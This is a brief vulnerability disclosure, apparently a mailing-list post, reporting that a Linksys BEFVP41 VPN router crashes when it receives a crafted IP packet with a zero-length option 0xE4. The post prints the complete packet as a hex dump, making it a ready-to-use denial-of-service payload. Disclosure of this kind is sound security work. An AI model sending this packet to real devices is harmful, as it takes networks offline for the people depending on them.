Linksys VPN Router (BEFVP41) DoS Vulnerability

[paul14075 () gmail com]

Linksys BEFVP41 (possibly others) (not sure which firmware) can be instantenously crashed by sending a specially 
crafted IP packet with a null length for IP option #0xE4 , like this one:

00 0f 66 99 a3 45 00 10 5a cc 59 84 08 00 46 00  
00 2c 04 d2 00 00 ff aa 06 2a c0 a8 01 65 43 08  
c6 15 e4 00 00 00 41 42 43 44 45 46 47 48 49 4a  
4b 4c 4d 4e 4f 50 52 53 54 55

I tried from within LAN-side of the router.  Did not test WAN-side, but probably still works.  Requires a reboot to 
fix.  Found it accidentally while doing nessus scan.  (Nessus Referenced BID : 7175, 14536)